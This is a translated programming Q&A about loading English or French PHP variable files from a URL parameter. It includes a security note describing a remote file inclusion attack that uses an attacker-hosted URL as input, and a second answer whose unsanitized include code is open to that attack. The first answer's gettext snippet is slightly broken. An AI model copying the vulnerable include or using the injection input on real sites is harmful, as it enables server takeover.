【问题标题】:How to change PHP variable languague based on URL如何根据 URL 更改 PHP 变量语言
【发布时间】:2021-04-11 12:55:56
【问题描述】:

我有两个 PHP 文件 - en.php 和 fr.php。一个包含英语变量,另一个包含法语变量。而且我必须根据 URL 使用所需的文件。例如,如果 URL 以 ?lang=en 结尾,我必须使用英文,反之亦然。我对PHP真的很陌生,所以这就是我在这里问的原因。谢谢!

【问题讨论】:

  • 但是你有没有尝试过?如果是这样,你能告诉我们你到目前为止所做的尝试吗?
  • 这取决于您要如何以及何时更改它?要么使用.htaccess 处理它并指向正确的文件,要么在您的网页内使用if($_GET["lang"] == "en") include "..."; 之类的东西

标签: php html web url


【解决方案1】:

简单的方法

您将文件保存在特定目录中,或严格检查文件名语法。

这是因为包含使用 requireinclude 的变量将执行一个文件可能在另一台服务器上,受其他人的控制(见下文,“注入”)在您的 Web 服务器的安全上下文中。你所以不希望这种情况发生,这不好笑。所以:检查文件名。

$lang = 'en';
if (array_key_exists('lang', $_REQUEST)) {
     $test = $_REQUEST['lang'];
     // Verify "lang" is a two-letter string
     if (preg_match('#^[a-z]{2}$#', $test)) {
         // Verify the requested language file exists
         if (is_readable("./{$test}.php")) {
             $lang = $test;
         }
     }
}
// Finally include the file.
include_once("{$lang}.php");

记住上次使用的语言

session_start();
$lang = 'en';
if (array_key_exists('lang', $_REQUEST)) {
   ...as before...
         $lang = $test;
         $_SESSION['lang'] = $lang;
} else {
   if (array_key_exists('lang', $_SESSION)) {
       $lang = $_SESSION['lang'];
   }
}
// Finally include the file.
include_once("{$lang}.php");

更高级:使用函数来接受语言。

function validLanguage($test) {
     // Verify "lang" is a two-letter string
     if (preg_match('#^[a-z]{2}$#', $test)) {
         // Verify the requested language file exists
         if (is_readable("./{$test}.php")) {
             return $test;
         }
     }
     return null;
}

现在从浏览器中读取。

PHP 有a function 来检测浏览器需要什么语言。

$languages = array();

$languages[] = 'en'; // Default, with lowest priority
// Note: "en" default is not guaranteed to exist. You must ensure it does.

// Browser choice, with more priority than default
if (class_exists('Locale')) {
    $locale = Locale::acceptFromHTTP($_SERVER['HTTP_ACCEPT_LANGUAGE']);
    if ($locale !== null) {
        $test = substr($locale, 0, 2);
        if (null !== ($test = validLanguage($test))) {
            $languages[] = $test;
        }
    }
}
// Session, with more priority
if (array_key_exists('lang', $_SESSION)) {
    $languages[] = $_SESSION['lang'];
}
// Language selected, with even more priority
if (array_key_exists('lang', $_REQUEST)) {
     $test = $_REQUEST['lang'];
     if (null !== ($test = validLanguage($test))) {
         $languages[] = $test;
     }
}

// Pop best choice for language
$lang = array_pop($languages);
// Remember for the next time
$_SESSION['lang'] = $lang;
// Finally include the appropriate file. 
include_once("{$lang}.php");

Apache mod_rewrite

有了更多的经验,即使在之后,您也可以使用 Apache 服务器的 mod_rewrite 工具来请求https://yoursite.com/en/anypage.php 实际上等同于请求普通的https://yoursite.com/anypage.php?lang=en,如果您安装了它并且激活,实现对用户和 SEO 更友好的 URL。更多详情this answer

另一种方式:使用 locale()

由于下面详述的原因,使用include 毕竟不是一个好主意。但通常你这样做是因为你有类似的东西

print "<h1>{$welcomeMessage}, {$username}!</h1>";

并且您希望能够说“你好,约翰!”或“你好,约翰!”或“Ciao,John”,视情况而定。

在 PHP 中,您可以通过多种方式做到这一点。更强大的方法之一是通过gettext。这需要你像这样重写上面的代码——注意“_”是一个有效的函数名! - ...

print "<h1>" . _('WELCOME_MESSAGE') .", {$username}!</h1>";

然后维护一个名为 pofile 的特殊文件,下划线系统可以使用该文件。

这在内存使用和速度方面有几个优势,对于专业用途也是如此,因为您可以将英文文件发送给俄罗斯专业翻译人员,他们(通常)会be able to use it straight away 更少麻烦,更多轻松并因此花费更少的钱,因此您将能够购买适当的 pofile - 一旦上传 - 将您的网站(或它的关键部分)翻译成俄语。您甚至可以让您的网站所有者(如果您是第三方开发者)提供他们自己的 pofile。

使用 gettext 框架的工作可以通过这个技巧变得不那么尴尬:事先告诉 PHP 无论输出什么都必须通过过滤器函数

ob_start('my_translate');

此函数将解析参数以查找某些文本需要翻译的具体信息,如果是,则返回其翻译:

function my_translate($text) {
    // I will translate ??CAPITAL_STRINGS_IN_DOUBLE_QUESTI1MARKS??
    $telltale = '#\?\?([A-Z][A-Z_0-9]+)\?\?#';
    return preg_replace_callback(
        $telltale, 
        function ($matches) {
            return _($matches[1]);
        }
        $text
    );
}

所以现在你的 PHP 代码变成了

print "<h1>??WELCOME?? {$username}!</h1>";

而不是include("{$lang}.php") 你会有一个更复杂的序列,但你只需要在一个地方:

// To guess actual OS, see this answer:
// https://stackoverflow.com/Questions/1482260/how-to-get-the-os-on-which-php-is-running
if ('Linux' === PHP_OS) {
    setlocale(LC_MESSAGES, $lang);
} else {
    putenv("LC_ALL={$lang}");
}
bindtextdomain('website', 'translations');
textdomain('website');

此外,您需要将适当的文件放在“./translations”目录中。在这个例子中,$lang 有点复杂,因为它必须遵守“locale”语法——所以它应该是“fr_FR”而不是“fr”。


关于 PHP 代码注入的安全说明


想象一下,您的服务器并没有非常坚固(很多都没有;您会感到惊讶)。并且未检查或清理所需语言的名称。我,John Q. Evil,有理由怀疑可能是这种情况。或者只是想检查一下。我看到“lang=en”,我知道发生了什么。

所以我在我的服务器上准备了一个PHP脚本,并准备将其提供给不被解释;访问 https://john.q.evil/hack.php 将显示一个完整的 PHP 脚本,其中包含 &lt;?php 开始标签。

然后我访问你的网站,并指定lang=https://john.q.evil/hack。你的网络服务器乖乖地下载并执行我的代码。反过来,我的代码执行一些诊断,确定它作为用户 daemon 在 ARM CPU 上的 Whatixix 5 服务器上运行,并在非特权上下文中下载另一个针对 ARM7 上的 Whatix 操作系统优化的二进制文件。然后使用shell_exec 或以许多其他可用方式之一执行它。几秒钟后,你的网络服务器开始,比如说,将加密货币挖掘到我的一个一次性和可否认的电子钱包中。

这种情况被称为remote inclusion attack 并且是完全有可能的,至于为什么有人要在几乎不知名的我身上遇到所有这些麻烦?,嗯,答案确实是 他们不会。但那是因为他们不需要,不是个人,不是有意。他们将改为部署一个爬虫机器人,旨在有效地定位所有可能可通过这种方式利用的网络服务器,并将它们全部捕获

为什么?好吧,如果我可以感染,比如说,一千个网络服务器,我实际上可以从每个服务器中吸取 15-20 瓦的计算能力,而不会引起太多注意。免费。在一年结束时,这应该转化为around 2000 US dollars 我现金所做的只是初始设置。但潜在的易受攻击网站的数量远远多于,不过一千个。达到 20,000 个受感染网站的目标将开始成为一项收入丰厚的工作(每年 4 万个),并且可以免税。

这就是为什么矿工恶意软件是一个行业,这就是为什么您需要始终清理您的输入

【讨论】:

    【解决方案2】:

    你可以这样做:

    $lang = "en"; //default languague   
    if(isset($_GET['lang'])) {
        $lang = $_GET['lang'];
    }
    require_once($lang.".php");
    

    【讨论】:

    • 这不是很安全,因为它容易受到远程文件包含的影响,并且可能用于代理攻击(如果我请求“lang=mysite/evilscript"?”)。至少,文件应使用basename 进行清理,并检查本地服务器中是否存在,最好在为语言文件保留的目录中。
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2023-03-11
    • 2015-09-17
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2014-02-24
    • 1970-01-01
    相关资源
    最近更新 更多